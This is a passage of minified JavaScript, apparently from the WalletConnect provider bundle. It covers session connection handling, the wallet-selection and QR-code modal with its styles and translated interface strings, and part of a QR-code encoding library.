this.events.emit("payload",r),r}create(e){this.wc=this.register(this.opts),this.chainId=e||this.chainId,this.connected||this.pending||(this.pending=!0,this.registerConnectorEvents(),this.wc.createSession({chainId:this.chainId}).then((()=>this.events.emit("created"))).catch((e=>this.events.emit("error",e))))}registerConnectorEvents(){this.wc=this.register(this.opts),this.wc.on("connect",(e=>{var t,n;e?this.events.emit("error",e):(this.accounts=(null===(t=this.wc)||void 0===t?void 0:t.accounts)||[],this.chainId=(null===(n=this.wc)||void 0===n?void 0:n.chainId)||this.chainId,this.onOpen())})),this.wc.on("disconnect",(e=>{e?this.events.emit("error",e):this.onClose()})),this.wc.on("modal_closed",(()=>{this.events.emit("error",new Error("User closed modal"))})),this.wc.on("session_update",((e,t)=>{const{accounts:n,chainId:r}=t.params[0];(!this.accounts||n&&this.accounts!==n)&&(this.accounts=n,this.events.emit("accountsChanged",n)),(!this.chainId||r&&this.chainId!==r)&&(this.chainId=r,this.events.emit("chainChanged",r))}))}sendPayload(e){return r.__awaiter(this,void 0,void 0,(function*(){this.wc=this.register(this.opts);try{const t=yield this.wc.unsafeSend(e);return this.sanitizeResponse(t)}catch(t){return this.onError(e,t.message)}}))}sanitizeResponse(e){return void 0!==e.error&&void 0===e.error.code?u.formatJsonRpcError(e.id,e.error.message,e.error.data):e}}t.SignerConnection=c,t.default=c},function(e,t,n){e.exports=function(){throw new Error("ws does not work in the browser. Browser clients must use the native WebSocket object")}},function(e,t,n){(function(t){function r(e){return e&&"object"==typeof e&&"default"in e?e.default:e}var i=n(1),o=r(n(76)),s=r(n(98)),a=n(101);function u(e){return a.createElement("div",{className:"walletconnect-modal__header"},a.createElement("img",{src:"data:image/svg+xml,%3C?xml version='1.0' encoding='UTF-8'?%3E %3Csvg width='300px' height='185px' viewBox='0 0 300 185' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3E %3C!-- Generator: Sketch 49.3 (51167) - http://www.bohemiancoding.com/sketch --%3E %3Ctitle%3EWalletConnect%3C/title%3E %3Cdesc%3ECreated with Sketch.%3C/desc%3E %3Cdefs%3E%3C/defs%3E %3Cg id='Page-1' stroke='none' stroke-width='1' fill='none' fill-rule='evenodd'%3E %3Cg id='walletconnect-logo-alt' fill='%233B99FC' fill-rule='nonzero'%3E %3Cpath d='M61.4385429,36.2562612 C110.349767,-11.6319051 189.65053,-11.6319051 238.561752,36.2562612 L244.448297,42.0196786 C246.893858,44.4140867 246.893858,48.2961898 244.448297,50.690599 L224.311602,70.406102 C223.088821,71.6033071 221.106302,71.6033071 219.883521,70.406102 L211.782937,62.4749541 C177.661245,29.0669724 122.339051,29.0669724 88.2173582,62.4749541 L79.542302,70.9685592 C78.3195204,72.1657633 76.337001,72.1657633 75.1142214,70.9685592 L54.9775265,51.2530561 C52.5319653,48.8586469 52.5319653,44.9765439 54.9775265,42.5821357 L61.4385429,36.2562612 Z M280.206339,77.0300061 L298.128036,94.5769031 C300.573585,96.9713 300.573599,100.85338 298.128067,103.247793 L217.317896,182.368927 C214.872352,184.763353 210.907314,184.76338 208.461736,182.368989 C208.461726,182.368979 208.461714,182.368967 208.461704,182.368957 L151.107561,126.214385 C150.496171,125.615783 149.504911,125.615783 148.893521,126.214385 C148.893517,126.214389 148.893514,126.214393 148.89351,126.214396 L91.5405888,182.368927 C89.095052,184.763359 85.1300133,184.763399 82.6844276,182.369014 C82.6844133,182.369 82.684398,182.368986 82.6843827,182.36897 L1.87196327,103.246785 C-0.573596939,100.852377 -0.573596939,96.9702735 1.87196327,94.5758653 L19.7936929,77.028998 C22.2392531,74.6345898 26.2042918,74.6345898 28.6498531,77.028998 L86.0048306,133.184355 C86.6162214,133.782957 87.6074796,133.782957 88.2188704,133.184355 C88.2188796,133.184346 88.2188878,133.184338 88.2188969,133.184331 L145.571,77.028998 C148.016505,74.6345347 151.981544,74.6344449 154.427161,77.028798 C154.427195,77.0288316 154.427229,77.0288653 154.427262,77.028899 L211.782164,133.184331 C212.393554,133.782932 213.384814,133.782932 213.996204,133.184331 L271.350179,77.0300061 C273.79574,74.6355969 277.760778,74.6355969 280.206339,77.0300061 Z' id='WalletConnect'%3E%3C/path%3E %3C/g%3E %3C/g%3E %3C/svg%3E",className:"walletconnect-modal__headerLogo"}),a.createElement("p",null,"WalletConnect"),a.createElement("div",{className:"walletconnect-modal__close__wrapper",onClick:e.onClose},a.createElement("div",{id:"walletconnect-qrcode-close",className:"walletconnect-modal__close__icon"},a.createElement("div",{className:"walletconnect-modal__close__line1"}),a.createElement("div",{className:"walletconnect-modal__close__line2"}))))}function c(e){return a.createElement("a",{className:"walletconnect-connect__button",href:e.href,id:"walletconnect-connect-button-"+e.name,onClick:e.onClick,rel:"noopener noreferrer",style:{backgroundColor:e.color},target:"_blank"},e.name)}function l(e){var t=e.color,n=e.href,r=e.name,i=e.logo,o=e.onClick;return a.createElement("a",{className:"walletconnect-modal__base__row",href:n,onClick:o,rel:"noopener noreferrer",target:"_blank"},a.createElement("h3",{className:"walletconnect-modal__base__row__h3"},r),a.createElement("div",{className:"walletconnect-modal__base__row__right"},a.createElement("div",{className:"walletconnect-modal__base__row__right__app-icon",style:{background:"url('"+i+"') "+t,backgroundSize:"100%"}}),a.createElement("img",{src:"data:image/svg+xml,%3Csvg width='8' height='18' viewBox='0 0 8 18' fill='none' xmlns='http://www.w3.org/2000/svg'%3E %3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M0.586301 0.213898C0.150354 0.552968 0.0718197 1.18124 0.41089 1.61719L5.2892 7.88931C5.57007 8.25042 5.57007 8.75608 5.2892 9.11719L0.410889 15.3893C0.071819 15.8253 0.150353 16.4535 0.586301 16.7926C1.02225 17.1317 1.65052 17.0531 1.98959 16.6172L6.86791 10.3451C7.7105 9.26174 7.7105 7.74476 6.86791 6.66143L1.98959 0.38931C1.65052 -0.0466374 1.02225 -0.125172 0.586301 0.213898Z' fill='%233C4252'/%3E %3C/svg%3E",className:"walletconnect-modal__base__row__right__caret"})))}function f(e){var t=e.color,n=e.href,r=e.name,i=e.logo,o=e.onClick,s=window.innerWidth<768?(r.length>8?2.5:2.7)+"vw":"inherit";return a.createElement("a",{className:"walletconnect-connect__button__icon_anchor",href:n,onClick:o,rel:"noopener noreferrer",target:"_blank"},a.createElement("div",{className:"walletconnect-connect__button__icon",style:{background:"url('"+i+"') "+t,backgroundSize:"100%"}}),a.createElement("div",{style:{fontSize:s},className:"walletconnect-connect__button__text"},r))}function h(e){var t=i.isAndroid(),n=a.useState(""),r=n[0],o=n[1],s=a.useState(""),u=s[0],h=s[1],d=a.useState(1),p=d[0],g=d[1],y=u?e.links.filter((function(e){return e.name.toLowerCase().includes(u.toLowerCase())})):e.links,v=e.errorMessage,m=u||y.length>5,_=Math.ceil(y.length/12),b=[12*(p-1)+1,12*p],w=y.length?y.filter((function(e,t){return t+1>=b[0]&&t+1<=b[1]})):[],E=!(t||!(_>1)),S=void 0;return a.createElement("div",null,a.createElement("p",{id:"walletconnect-qrcode-text",className:"walletconnect-qrcode__text"},t?e.text.connect_mobile_wallet:e.text.choose_preferred_wallet),!t&&a.createElement("input",{className:"walletconnect-search__input",placeholder:"Search",value:r,onChange:function(e){o(e.target.value),clearTimeout(S),e.target.value?S=setTimeout((function(){h(e.target.value),g(1)}),1e3):(o(""),h(""),g(1))}}),a.createElement("div",{className:"walletconnect-connect__buttons__wrapper"+(t?"__android":m&&y.length?"__wrap":"")},t?a.createElement(c,{name:e.text.connect,color:"rgb(64, 153, 255)",href:e.uri,onClick:a.useCallback((function(){i.saveMobileLinkInfo({name:"Unknown",href:e.uri})}),[])}):w.length?w.map((function(t){var n=t.color,r=t.name,o=t.shortName,s=t.logo,u=i.formatIOSMobile(e.uri,t),c=a.useCallback((function(){i.saveMobileLinkInfo({name:r,href:u})}),[w]);return m?a.createElement(f,{color:n,href:u,name:o||r,logo:s,onClick:c}):a.createElement(l,{color:n,href:u,name:r,logo:s,onClick:c})})):a.createElement(a.Fragment,null,a.createElement("p",null,v.length?e.errorMessage:e.links.length&&!y.length?e.text.no_wallets_found:e.text.loading))),E&&a.createElement("div",{className:"walletconnect-modal__footer"},Array(_).fill(0).map((function(e,t){var n=t+1,r=p===n;return a.createElement("a",{style:{margin:"auto 10px",fontWeight:r?"bold":"normal"},onClick:function(){return g(n)}},n)}))))}function d(e){var t=!!e.message.trim();return a.createElement("div",{className:"walletconnect-qrcode__notification"+(t?" notification__show":"")},e.message)}function p(e){var t=a.useState(""),n=t[0],r=t[1],i=a.useState(""),u=i[0],c=i[1];return a.useEffect((function(){try{return Promise.resolve(function(e){try{var t="";return Promise.resolve(o.toString(e,{margin:0,type:"svg"})).then((function(e){return"string"==typeof e&&(t=e.replace("<svg",'<svg class="walletconnect-qrcode__image"')),t}))}catch(e){return Promise.reject(e)}}(e.uri)).then((function(e){c(e)}))}catch(e){Promise.reject(e)}}),[]),a.createElement("div",null,a.createElement("p",{id:"walletconnect-qrcode-text",className:"walletconnect-qrcode__text"},e.text.scan_qrcode_with_wallet),a.createElement("div",{dangerouslySetInnerHTML:{__html:u}}),a.createElement("div",{className:"walletconnect-modal__footer"},a.createElement("a",{onClick:function(){s(e.uri)?(r(e.text.copied_to_clipboard),setInterval((function(){return r("")}),1200)):(r("Error"),setInterval((function(){return r("")}),1200))}},e.text.copy_to_clipboard)),a.createElement(d,{message:n}))}function g(e){var t=i.isAndroid(),n=i.isMobile(),r=n?e.qrcodeModalOptions&&e.qrcodeModalOptions.mobileLinks?e.qrcodeModalOptions.mobileLinks:void 0:e.qrcodeModalOptions&&e.qrcodeModalOptions.desktopLinks?e.qrcodeModalOptions.desktopLinks:void 0,o=a.useState(!1),s=o[0],c=o[1],l=a.useState(!1),f=l[0],d=l[1],g=a.useState(!n),y=g[0],v=g[1],m={mobile:n,text:e.text,uri:e.uri,qrcodeModalOptions:e.qrcodeModalOptions},_=a.useState(""),b=_[0],w=_[1],E=a.useState(!1),S=E[0],O=E[1],x=a.useState([]),I=x[0],R=x[1],k=a.useState(""),C=k[0],P=k[1],A=function(){f||s||r&&!r.length||I.length>0||a.useEffect((function(){!function(){try{if(t)return Promise.resolve();c(!0);var o=function(e,t){try{var n=e()}catch(e){return t(e)}return n&&n.then?n.then(void 0,t):n}((function(){var t=e.qrcodeModalOptions&&e.qrcodeModalOptions.registryUrl?e.qrcodeModalOptions.registryUrl:i.getWalletRegistryUrl();return Promise.resolve(fetch(t)).then((function(t){return Promise.resolve(t.json()).then((function(t){var o=t.listings,s=n?"mobile":"desktop",a=i.getMobileLinkRegistry(i.formatMobileRegistry(o,s),r);c(!1),d(!0),P(a.length?"":e.text.no_supported_wallets),R(a);var u=1===a.length;u&&(w(i.formatIOSMobile(e.uri,a[0])),v(!0)),O(u)}))}))}),(function(t){c(!1),d(!0),P(e.text.something_went_wrong),console.error(t)}));Promise.resolve(o&&o.then?o.then((function(){})):void 0)}catch(e){return Promise.reject(e)}}()}))};A();var N=n?y:!y;return a.createElement("div",{id:"walletconnect-qrcode-modal",className:"walletconnect-qrcode__base animated fadeIn"},a.createElement("div",{className:"walletconnect-modal__base"},a.createElement(u,{onClose:e.onClose}),S&&y?a.createElement("div",{className:"walletconnect-modal__single_wallet"},a.createElement("a",{onClick:function(){return i.saveMobileLinkInfo({name:I[0].name,href:b})},href:b,rel:"noopener noreferrer",target:"_blank"},e.text.connect_with+" "+(S?I[0].name:"")+" ›")):t||s||!s&&I.length?a.createElement("div",{className:"walletconnect-modal__mobile__toggle"+(N?" right__selected":"")},a.createElement("div",{className:"walletconnect-modal__mobile__toggle_selector"}),n?a.createElement(a.Fragment,null,a.createElement("a",{onClick:function(){return v(!1),A()}},e.text.mobile),a.createElement("a",{onClick:function(){return v(!0)}},e.text.qrcode)):a.createElement(a.Fragment,null,a.createElement("a",{onClick:function(){return v(!0)}},e.text.qrcode),a.createElement("a",{onClick:function(){return v(!1),A()}},e.text.desktop))):null,a.createElement("div",null,y||!t&&!s&&!I.length?a.createElement(p,Object.assign({},m)):a.createElement(h,Object.assign({},m,{links:I,errorMessage:C})))))}"undefined"!=typeof Symbol&&(Symbol.iterator||(Symbol.iterator=Symbol("Symbol.iterator"))),"undefined"!=typeof Symbol&&(Symbol.asyncIterator||(Symbol.asyncIterator=Symbol("Symbol.asyncIterator")));var y={de:{choose_preferred_wallet:"Wähle bevorzugte Wallet",connect_mobile_wallet:"Verbinde mit Mobile Wallet",scan_qrcode_with_wallet:"Scanne den QR-code mit einer WalletConnect kompatiblen Wallet",connect:"Verbinden",qrcode:"QR-Code",mobile:"Mobile",desktop:"Desktop",copy_to_clipboard:"In die Zwischenablage kopieren",copied_to_clipboard:"In die Zwischenablage kopiert!",connect_with:"Verbinden mit Hilfe von",loading:"Laden...",something_went_wrong:"Etwas ist schief gelaufen",no_supported_wallets:"Es gibt noch keine unterstützten Wallet",no_wallets_found:"keine Wallet gefunden"},en:{choose_preferred_wallet:"Choose your preferred wallet",connect_mobile_wallet:"Connect to Mobile Wallet",scan_qrcode_with_wallet:"Scan QR code with a WalletConnect-compatible wallet",connect:"Connect",qrcode:"QR Code",mobile:"Mobile",desktop:"Desktop",copy_to_clipboard:"Copy to clipboard",copied_to_clipboard:"Copied to clipboard!",connect_with:"Connect with",loading:"Loading...",something_went_wrong:"Something went wrong",no_supported_wallets:"There are no supported wallets yet",no_wallets_found:"No wallets found"},es:{choose_preferred_wallet:"Elige tu billetera preferida",connect_mobile_wallet:"Conectar a billetera móvil",scan_qrcode_with_wallet:"Escanea el código QR con una billetera compatible con WalletConnect",connect:"Conectar",qrcode:"Código QR",mobile:"Móvil",desktop:"Desktop",copy_to_clipboard:"Copiar",copied_to_clipboard:"Copiado!",connect_with:"Conectar mediante",loading:"Cargando...",something_went_wrong:"Algo salió mal",no_supported_wallets:"Todavía no hay billeteras compatibles",no_wallets_found:"No se encontraron billeteras"},fr:{choose_preferred_wallet:"Choisissez votre portefeuille préféré",connect_mobile_wallet:"Se connecter au portefeuille mobile",scan_qrcode_with_wallet:"Scannez le QR code avec un portefeuille compatible WalletConnect",connect:"Se connecter",qrcode:"QR Code",mobile:"Mobile",desktop:"Desktop",copy_to_clipboard:"Copier",copied_to_clipboard:"Copié!",connect_with:"Connectez-vous à l'aide de",loading:"Chargement...",something_went_wrong:"Quelque chose a mal tourné",no_supported_wallets:"Il n'y a pas encore de portefeuilles pris en charge",no_wallets_found:"Aucun portefeuille trouvé"},ko:{choose_preferred_wallet:"원하는 지갑을 선택하세요",connect_mobile_wallet:"모바일 지갑과 연결",scan_qrcode_with_wallet:"WalletConnect 지원 지갑에서 QR코드를 스캔하세요",connect:"연결",qrcode:"QR 코드",mobile:"모바일",desktop:"데스크탑",copy_to_clipboard:"클립보드에 복사",copied_to_clipboard:"클립보드에 복사되었습니다!",connect_with:"와 연결하다",loading:"로드 중...",something_went_wrong:"문제가 발생했습니다.",no_supported_wallets:"아직 지원되는 지갑이 없습니다",no_wallets_found:"지갑을 찾을 수 없습니다"},pt:{choose_preferred_wallet:"Escolha sua carteira preferida",connect_mobile_wallet:"Conectar-se à carteira móvel",scan_qrcode_with_wallet:"Ler o código QR com uma carteira compatível com WalletConnect",connect:"Conectar",qrcode:"Código QR",mobile:"Móvel",desktop:"Desktop",copy_to_clipboard:"Copiar",copied_to_clipboard:"Copiado!",connect_with:"Ligar por meio de",loading:"Carregamento...",something_went_wrong:"Algo correu mal",no_supported_wallets:"Ainda não há carteiras suportadas",no_wallets_found:"Nenhuma carteira encontrada"},zh:{choose_preferred_wallet:"选择你的钱包",connect_mobile_wallet:"连接至移动端钱包",scan_qrcode_with_wallet:"使用兼容 WalletConnect 的钱包扫描二维码",connect:"连接",qrcode:"二维码",mobile:"移动",desktop:"桌面",copy_to_clipboard:"复制到剪贴板",copied_to_clipboard:"复制到剪贴板成功!",connect_with:"通过以下方式连接",loading:"正在加载...",something_went_wrong:"出了问题",no_supported_wallets:"目前还没有支持的钱包",no_wallets_found:"没有找到钱包"},fa:{choose_preferred_wallet:"کیف پول مورد نظر خود را انتخاب کنید",connect_mobile_wallet:"به کیف پول موبایل وصل شوید",scan_qrcode_with_wallet:"کد QR را با یک کیف پول سازگار با WalletConnect اسکن کنید",connect:"اتصال",qrcode:"کد QR",mobile:"سیار",desktop:"دسکتاپ",copy_to_clipboard:"کپی به کلیپ بورد",copied_to_clipboard:"در کلیپ بورد کپی شد!",connect_with:"ارتباط با",loading:"...بارگذاری",something_went_wrong:"مشکلی پیش آمد",no_supported_wallets:"هنوز هیچ کیف پول پشتیبانی شده ای وجود ندارد",no_wallets_found:"هیچ کیف پولی پیدا نشد"}};function v(){var e=i.getDocumentOrThrow(),t=e.getElementById("walletconnect-qrcode-modal");t&&(t.className=t.className.replace("fadeIn","fadeOut"),setTimeout((function(){var t=e.getElementById("walletconnect-wrapper");t&&e.body.removeChild(t)}),300))}function m(e){return function(){v(),e&&e()}}function _(e,t,n){!function(){var e=i.getDocumentOrThrow(),t=e.getElementById("walletconnect-style-sheet");t&&e.head.removeChild(t);var n=e.createElement("style");n.setAttribute("id","walletconnect-style-sheet"),n.innerText=':root {\n --animation-duration: 300ms;\n}\n\n@keyframes fadeIn {\n from {\n opacity: 0;\n }\n to {\n opacity: 1;\n }\n}\n\n@keyframes fadeOut {\n from {\n opacity: 1;\n }\n to {\n opacity: 0;\n }\n}\n\n.animated {\n animation-duration: var(--animation-duration);\n animation-fill-mode: both;\n}\n\n.fadeIn {\n animation-name: fadeIn;\n}\n\n.fadeOut {\n animation-name: fadeOut;\n}\n\n#walletconnect-wrapper {\n -webkit-user-select: none;\n align-items: center;\n display: flex;\n height: 100%;\n justify-content: center;\n left: 0;\n pointer-events: none;\n position: fixed;\n top: 0;\n user-select: none;\n width: 100%;\n z-index: 99999999999999;\n}\n\n.walletconnect-modal__headerLogo {\n height: 21px;\n}\n\n.walletconnect-modal__header p {\n color: #ffffff;\n font-size: 20px;\n font-weight: 600;\n margin: 0;\n align-items: flex-start;\n display: flex;\n flex: 1;\n margin-left: 5px;\n}\n\n.walletconnect-modal__close__wrapper {\n position: absolute;\n top: 0px;\n right: 0px;\n z-index: 10000;\n background: white;\n border-radius: 26px;\n padding: 6px;\n box-sizing: border-box;\n width: 26px;\n height: 26px;\n cursor: pointer;\n}\n\n.walletconnect-modal__close__icon {\n position: relative;\n top: 7px;\n right: 0;\n display: flex;\n align-items: center;\n justify-content: center;\n transform: rotate(45deg);\n}\n\n.walletconnect-modal__close__line1 {\n position: absolute;\n width: 100%;\n border: 1px solid rgb(48, 52, 59);\n}\n\n.walletconnect-modal__close__line2 {\n position: absolute;\n width: 100%;\n border: 1px solid rgb(48, 52, 59);\n transform: rotate(90deg);\n}\n\n.walletconnect-qrcode__base {\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n background: rgba(37, 41, 46, 0.95);\n height: 100%;\n left: 0;\n pointer-events: auto;\n position: fixed;\n top: 0;\n transition: 0.4s cubic-bezier(0.19, 1, 0.22, 1);\n width: 100%;\n will-change: opacity;\n padding: 40px;\n box-sizing: border-box;\n}\n\n.walletconnect-qrcode__text {\n color: rgba(60, 66, 82, 0.6);\n font-size: 16px;\n font-weight: 600;\n letter-spacing: 0;\n line-height: 1.1875em;\n margin: 10px 0 20px 0;\n text-align: center;\n width: 100%;\n}\n\n@media only screen and (max-width: 768px) {\n .walletconnect-qrcode__text {\n font-size: 4vw;\n }\n}\n\n@media only screen and (max-width: 320px) {\n .walletconnect-qrcode__text {\n font-size: 14px;\n }\n}\n\n.walletconnect-qrcode__image {\n width: calc(100% - 30px);\n box-sizing: border-box;\n cursor: none;\n margin: 0 auto;\n}\n\n.walletconnect-qrcode__notification {\n position: absolute;\n bottom: 0;\n left: 0;\n right: 0;\n font-size: 16px;\n padding: 16px 20px;\n border-radius: 16px;\n text-align: center;\n transition: all 0.1s ease-in-out;\n background: white;\n color: black;\n margin-bottom: -60px;\n opacity: 0;\n}\n\n.walletconnect-qrcode__notification.notification__show {\n opacity: 1;\n}\n\n@media only screen and (max-width: 768px) {\n .walletconnect-modal__header {\n height: 130px;\n }\n .walletconnect-modal__base {\n overflow: auto;\n }\n}\n\n@media only screen and (min-device-width: 415px) and (max-width: 768px) {\n #content {\n max-width: 768px;\n box-sizing: border-box;\n }\n}\n\n@media only screen and (min-width: 375px) and (max-width: 415px) {\n #content {\n max-width: 414px;\n box-sizing: border-box;\n }\n}\n\n@media only screen and (min-width: 320px) and (max-width: 375px) {\n #content {\n max-width: 375px;\n box-sizing: border-box;\n }\n}\n\n@media only screen and (max-width: 320px) {\n #content {\n max-width: 320px;\n box-sizing: border-box;\n }\n}\n\n.walletconnect-modal__base {\n -webkit-font-smoothing: antialiased;\n background: #ffffff;\n border-radius: 24px;\n box-shadow: 0 10px 50px 5px rgba(0, 0, 0, 0.4);\n font-family: ui-rounded, "SF Pro Rounded", "SF Pro Text", medium-content-sans-serif-font,\n -apple-system, BlinkMacSystemFont, ui-sans-serif, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell,\n "Open Sans", "Helvetica Neue", sans-serif;\n margin-top: 41px;\n padding: 24px 24px 22px;\n pointer-events: auto;\n position: relative;\n text-align: center;\n transition: 0.4s cubic-bezier(0.19, 1, 0.22, 1);\n will-change: transform;\n overflow: visible;\n transform: translateY(-50%);\n top: 50%;\n max-width: 500px;\n margin: auto;\n}\n\n@media only screen and (max-width: 320px) {\n .walletconnect-modal__base {\n padding: 24px 12px;\n }\n}\n\n.walletconnect-modal__base .hidden {\n transform: translateY(150%);\n transition: 0.125s cubic-bezier(0.4, 0, 1, 1);\n}\n\n.walletconnect-modal__header {\n align-items: center;\n display: flex;\n height: 26px;\n left: 0;\n justify-content: space-between;\n position: absolute;\n top: -42px;\n width: 100%;\n}\n\n.walletconnect-modal__base .wc-logo {\n align-items: center;\n display: flex;\n height: 26px;\n margin-top: 15px;\n padding-bottom: 15px;\n pointer-events: auto;\n}\n\n.walletconnect-modal__base .wc-logo div {\n background-color: #3399ff;\n height: 21px;\n margin-right: 5px;\n mask-image: url("images/wc-logo.svg") center no-repeat;\n width: 32px;\n}\n\n.walletconnect-modal__base .wc-logo p {\n color: #ffffff;\n font-size: 20px;\n font-weight: 600;\n margin: 0;\n}\n\n.walletconnect-modal__base h2 {\n color: rgba(60, 66, 82, 0.6);\n font-size: 16px;\n font-weight: 600;\n letter-spacing: 0;\n line-height: 1.1875em;\n margin: 0 0 19px 0;\n text-align: center;\n width: 100%;\n}\n\n.walletconnect-modal__base__row {\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n align-items: center;\n border-radius: 20px;\n cursor: pointer;\n display: flex;\n height: 56px;\n justify-content: space-between;\n padding: 0 15px;\n position: relative;\n margin: 0px 0px 8px;\n text-align: left;\n transition: 0.15s cubic-bezier(0.25, 0.46, 0.45, 0.94);\n will-change: transform;\n text-decoration: none;\n}\n\n.walletconnect-modal__base__row:hover {\n background: rgba(60, 66, 82, 0.06);\n}\n\n.walletconnect-modal__base__row:active {\n background: rgba(60, 66, 82, 0.06);\n transform: scale(0.975);\n transition: 0.1s cubic-bezier(0.25, 0.46, 0.45, 0.94);\n}\n\n.walletconnect-modal__base__row__h3 {\n color: #25292e;\n font-size: 20px;\n font-weight: 700;\n margin: 0;\n padding-bottom: 3px;\n}\n\n.walletconnect-modal__base__row__right {\n align-items: center;\n display: flex;\n justify-content: center;\n}\n\n.walletconnect-modal__base__row__right__app-icon {\n border-radius: 8px;\n height: 34px;\n margin: 0 11px 2px 0;\n width: 34px;\n background-size: 100%;\n box-shadow: 0 4px 12px 0 rgba(37, 41, 46, 0.25);\n}\n\n.walletconnect-modal__base__row__right__caret {\n height: 18px;\n opacity: 0.3;\n transition: 0.1s cubic-bezier(0.25, 0.46, 0.45, 0.94);\n width: 8px;\n will-change: opacity;\n}\n\n.walletconnect-modal__base__row:hover .caret,\n.walletconnect-modal__base__row:active .caret {\n opacity: 0.6;\n}\n\n.walletconnect-modal__mobile__toggle {\n width: 80%;\n display: flex;\n margin: 0 auto;\n position: relative;\n overflow: hidden;\n border-radius: 8px;\n margin-bottom: 18px;\n background: #d4d5d9;\n}\n\n.walletconnect-modal__single_wallet {\n display: flex;\n justify-content: center;\n margin-top: 7px;\n margin-bottom: 18px;\n}\n\n.walletconnect-modal__single_wallet a {\n cursor: pointer;\n color: rgb(64, 153, 255);\n font-size: 21px;\n font-weight: 800;\n text-decoration: none !important;\n margin: 0 auto;\n}\n\n.walletconnect-modal__mobile__toggle_selector {\n width: calc(50% - 8px);\n background: white;\n position: absolute;\n border-radius: 5px;\n height: calc(100% - 8px);\n top: 4px;\n transition: all 0.2s ease-in-out;\n transform: translate3d(4px, 0, 0);\n}\n\n.walletconnect-modal__mobile__toggle.right__selected .walletconnect-modal__mobile__toggle_selector {\n transform: translate3d(calc(100% + 12px), 0, 0);\n}\n\n.walletconnect-modal__mobile__toggle a {\n font-size: 12px;\n width: 50%;\n text-align: center;\n padding: 8px;\n margin: 0;\n font-weight: 600;\n z-index: 1;\n}\n\n.walletconnect-modal__footer {\n display: flex;\n justify-content: center;\n margin-top: 20px;\n}\n\n@media only screen and (max-width: 768px) {\n .walletconnect-modal__footer {\n margin-top: 5vw;\n }\n}\n\n.walletconnect-modal__footer a {\n cursor: pointer;\n color: #898d97;\n font-size: 15px;\n margin: 0 auto;\n}\n\n@media only screen and (max-width: 320px) {\n .walletconnect-modal__footer a {\n font-size: 14px;\n }\n}\n\n.walletconnect-connect__buttons__wrapper {\n max-height: 44vh;\n}\n\n.walletconnect-connect__buttons__wrapper__android {\n margin: 50% 0;\n}\n\n.walletconnect-connect__buttons__wrapper__wrap {\n display: grid;\n grid-template-columns: repeat(4, 1fr);\n margin: 10px 0;\n}\n\n@media only screen and (min-width: 768px) {\n .walletconnect-connect__buttons__wrapper__wrap {\n margin-top: 40px;\n }\n}\n\n.walletconnect-connect__button {\n background-color: rgb(64, 153, 255);\n padding: 12px;\n border-radius: 8px;\n text-decoration: none;\n color: rgb(255, 255, 255);\n font-weight: 500;\n}\n\n.walletconnect-connect__button__icon_anchor {\n cursor: pointer;\n display: flex;\n justify-content: flex-start;\n align-items: center;\n margin: 8px;\n width: 42px;\n justify-self: center;\n flex-direction: column;\n text-decoration: none !important;\n}\n\n@media only screen and (max-width: 320px) {\n .walletconnect-connect__button__icon_anchor {\n margin: 4px;\n }\n}\n\n.walletconnect-connect__button__icon {\n border-radius: 10px;\n height: 42px;\n margin: 0;\n width: 42px;\n background-size: cover !important;\n box-shadow: 0 4px 12px 0 rgba(37, 41, 46, 0.25);\n}\n\n.walletconnect-connect__button__text {\n color: #424952;\n font-size: 2.7vw;\n text-decoration: none !important;\n padding: 0;\n margin-top: 1.8vw;\n font-weight: 600;\n}\n\n@media only screen and (min-width: 768px) {\n .walletconnect-connect__button__text {\n font-size: 16px;\n margin-top: 12px;\n }\n}\n\n.walletconnect-search__input {\n border: none;\n background: #d4d5d9;\n border-style: none;\n padding: 8px 16px;\n outline: none;\n font-style: normal;\n font-stretch: normal;\n font-size: 16px;\n font-style: normal;\n font-stretch: normal;\n line-height: normal;\n letter-spacing: normal;\n text-align: left;\n border-radius: 8px;\n width: calc(100% - 16px);\n margin: 0;\n margin-bottom: 8px;\n}\n',e.head.appendChild(n)}();var r,o=function(){var e=i.getDocumentOrThrow(),t=e.createElement("div");return t.setAttribute("id","walletconnect-wrapper"),e.body.appendChild(t),t}();a.render(a.createElement(g,{text:(r=i.getNavigatorOrThrow().language.split("-")[0]||"en",y[r]||y.en),uri:e,onClose:m(t),qrcodeModalOptions:n}),o)}var b=function(){return void 0!==t&&void 0!==t.versions&&void 0!==t.versions.node},w={open:function(e,t,n){console.log(e),b()?function(e){o.toString(e,{type:"terminal"}).then(console.log)}(e):_(e,t,n)},close:function(){b()||v()}};e.exports=w}).call(this,n(19))},function(e,t,n){const r=n(77),i=n(78),o=n(96),s=n(97);function a(e,t,n,o,s){const a=[].slice.call(arguments,1),u=a.length,c="function"==typeof a[u-1];if(!c&&!r())throw new Error("Callback required as last argument");if(!c){if(u<1)throw new Error("Too few arguments provided");return 1===u?(n=t,t=o=void 0):2!==u||t.getContext||(o=n,n=t,t=void 0),new Promise((function(r,s){try{const s=i.create(n,o);r(e(s,t,o))}catch(e){s(e)}}))}if(u<2)throw new Error("Too few arguments provided");2===u?(s=n,n=t,t=o=void 0):3===u&&(t.getContext&&void 0===s?(s=o,o=void 0):(s=o,o=n,n=t,t=void 0));try{const r=i.create(n,o);s(null,e(r,t,o))}catch(e){s(e)}}t.create=i.create,t.toCanvas=a.bind(null,o.render),t.toDataURL=a.bind(null,o.renderToDataURL),t.toString=a.bind(null,(function(e,t,n){return s.render(e,n)}))},function(e,t){e.exports=function(){return"function"==typeof Promise&&Promise.prototype&&Promise.prototype.then}},function(e,t,n){const r=n(9),i=n(21),o=n(79),s=n(80),a=n(81),u=n(82),c=n(83),l=n(53),f=n(84),h=n(87),d=n(88),p=n(10),g=n(89);function y(e,t,n){const r=e.size,i=d.getEncodedBits(t,n);let o,s;for(o=0;o<15;o++)s=1==(i>>o&1),o<6?e.set(o,8,s,!0):o<8?e.set(o+1,8,s,!0):e.set(r-15+o,8,s,!0),o<8?e.set(8,r-o-1,s,!0):o<9?e.set(8,15-o-1+1,s,!0):e.set(8,15-o-1,s,!0);e.set(r-8,8,1,!0)}function v(e,t,n){const i=new o;n.forEach((function(t){i.put(t.mode.bit,4),i.put(t.getLength(),p.getCharCountIndicator(t.mode,e)),t.write(i)}));const s=8*(r.getSymbolTotalCodewords(e)-l.getTotalCodewordsCount(e,t));for(i.getLengthInBits()+4<=s&&i.put(0,4);i.getLengthInBits()%8!=0;)i.putBit(0);const 